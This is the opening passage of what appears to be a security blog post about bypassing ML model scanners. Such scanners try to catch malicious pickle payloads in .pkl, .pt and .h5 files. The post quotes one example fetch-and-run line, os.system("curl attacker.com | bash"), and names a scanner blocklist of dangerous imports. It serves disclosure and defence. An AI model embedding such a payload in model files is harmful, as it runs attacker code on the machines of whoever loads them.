I Found 29 Ways to Bypass ML Model Security Scanners — Here's What's Actually Broken

I Found 29 Ways to Bypass ML Model Security Scanners — Here's What's Actually Broken When you download a pre-trained model from Hugging Face, PyTorch Hub, or any model registry, a security scanner is supposed to catch malicious payloads before they execute on your machine. I spent a week trying to bypass the most widely-used scanner. I found 29 distinct techniques that pass undetected. This isn't theoretical. Every bypass has a working proof-of-concept uploaded to Hugging Face. The Problem: Model Files Execute Code on Load Most developers don't realize that loading a .pkl, .pt, or .h5 file can execute arbitrary code. Python's pickle module calls __reduce__ during deserialization — meaning a model file can run os.system("curl attacker.com | bash") the moment you call torch.load(). Security scanners like modelscan are supposed to catch this by inspecting the pickle bytecode for dangerous imports (os, subprocess, builtins). The blocklist approach has a fundamental flaw: Python has hundred